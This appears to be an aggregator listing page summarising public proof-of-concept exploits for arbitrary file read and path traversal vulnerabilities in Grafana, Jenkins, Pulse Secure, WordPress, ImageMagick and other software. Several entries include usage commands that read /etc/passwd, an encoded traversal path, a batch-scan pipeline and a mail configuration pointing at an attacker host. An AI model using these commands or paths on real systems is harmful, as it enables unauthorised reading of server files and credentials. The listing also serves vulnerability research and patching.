exploit-grafana-CVE-2021-43798

CVE-2021-43798 – Grafana Exploit About This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability CVE-2021-43798. This vulnerability affects Grafana 8.0.0-beta1 to 8.3.0. According to Shodan data, there are just over 2,000 Grafana servers exposed online, with...

Mitel-MiCollab-Auth-Bypass_CVE-2024-41713

CVE-2024-41713 Mitel MiCollab Authentication Bypass to Arbitrary File Read See our blog post for technical details root@kitploit: / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / / watchtowr-vs-MiCollab2024-12-05.py Mitel MiCollab...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 jenkins-cli We have seen Jenkins File Leak / RCE CVE-2024-23897 exploited in the wild and managed to reproduce it. If your Jenkins allows anonymous users or user registration, immediately update it to the latest version. java -jar jenkins-cli.jar -s...

CVE-2025-2539

CVE-2025-2539 PoC Unauthenticated Arbitrary File Read exploit for WordPress File Away Plugin ≤ 3.9.9.0.1 📖 Description This Python script is a proof-of-concept PoC exploit for CVE-2025-2539 , targeting a vulnerability in the WordPress File Away Plugin ≤ 3.9.9.0.1. The vulnerability allows...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2024-43044-jenkins

Intro This is an exploit for CVE-2024-43044, an arbitrary file read that allows an agent to fetch files from the controller. The exploit will use the vulnerability to read files to forge a remember-me cookie for an admin account and gain access to Jenkins scripting engine. Check out the full...

CVE-2019-11510

CVE-2019-11510 Exploit for Arbitrary File Read on Pulse Secure SSL VPN CVE-2019-11510 You can use a single domain, either a list of domains. You must include https:// in front of the domain. Usage : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/ If...

CVE-2018-18778-Scanner

CVE-2018-18778-Scanner Scan vulnerable versions of minihttpd before 1.30. ACME minihttpd before 1.30 lets remote users read arbitrary files. Usage python3 CVE-2018-18778-Scanner.py...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : The username/email for the target Ghost CMS. --password : The password for the target Ghost CMS. --url : The URL of the target Ghost CMS e.g., http://website.com. 1. Login: The script authenticates with the Ghost CMS admin API and retrieves a session...

CVE-2022-44268-MagiLeak

ImageMagick Arbitrary Read Files - CVE-2022-44268 This repository contains a proof-of-concept PoC code for exploiting the arbitrary file read vulnerability CVE-2022-44268 in ImageMagick. The PoC demonstrates how an attacker can leverage the vulnerability to read arbitrary files on the system...

CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

CVE-2022-44268 ImageMagick Arbitrary Local File Read https://www.metabaseq.com/imagemagick-zero-days/ Based on the PoC CVE-2022-44268 ImageMagick Arbitrary File Read PoC, I created a vulnerability testing environment by using docker. Usage root@kitploit: get image docker pull...

CVE-2021-41277

CVE-2021-41277 MetaBase Arbitrary File Read Vulnerability fofa Batch POC Disclaimer This POC is only used to detect whether the target has the vulnerability. It is strictly forbidden to be used in any unauthorized testing. The author assumes no responsibility. Usage Fill in the email and key of a...

exploit_cve-2021-29447

exploitcve-2021-29447 For educational purposes only. This exploit is supposed to be really convenient tool to get any file from server running wordpress 5.6.2 and php8. see https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 All you need is base wp-admin access and ability to...

CVE-2025-24104

CVE-2025-24104 Writeup: Reading Files Out-of-Sandbox I reported a bug that Apple later tracked as CVE-2025-24104. In my original report, I demonstrated how a malicious backup could be used to bypass sandbox restrictions. However, Apple’s initial description stated that this vulnerability could le...

CVE-2021-33564

CVE-2021-33564 PoC Exploit script for CVE-2021-33564 Argument Injection in Dragonfly Ruby Gem. Usage Arbitrary File Read python3 poc.py -u https:///system/refinery/images -r /etc/passwd Arbitrary File Write python3 poc.py -u https:///system/refinery/images -w public/test.txt -c test.txt -lu http:...

CVE-2020-19360

Fhem FileLoglogWrapper Arbitrary File Read Vulnerability CVE-2020-19360 Vulnerability Description FHEM version 6.0 contains a file inclusion vulnerability originating from the FHEM/FileLoglogWrapper file parameter allowing attackers to include files, which can lead to sensitive information...

CVE-2023-4698

CVE-2023-4698 Inclusion locale de fichiers LFI dans usememos/memos 0.13.2 Description Aujourd'hui, je souhaite mettre en lumière une découverte majeure — une vulnérabilité de sécurité critique identifiée dans usememos/memos. Cette vulnérabilité, qui relève de la catégorie Inclusion locale de...

CVE-2024-48914

This post is a research article published by EQSTLab. Thanks toRajesh Sharma, who discovered this vulnerability. CVE-2024-48914 ★ CVE-2024-48914 Arbitrary File Read and DoS PoC ★ Description CVE-2024-48914 : vendure-ecommerce Arbitrary file read and DoS Vulnerability description: Vendure is an...

PoC-CVE-2025-12097

CVE-2025-12097 Description La modification NI du serveur Appweb contient une vulnérabilité de traversée de répertoire qui permet à un attaquant de lire des fichiers arbitraires sur le serveur. Le chemin URI /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini sera converti en : pathInfo cch...

CVE-2021-40978

CVE-2021-40978 Exploitation de traversée de répertoire du serveur de développement intégré de mkdocs Mkdocs 1.2.2 permet une traversée de répertoire via le serveur de développement intégré qui répond sur le port 8000. Vous trouverez ci-dessous quelques exemples de chemins exploités avec succès :...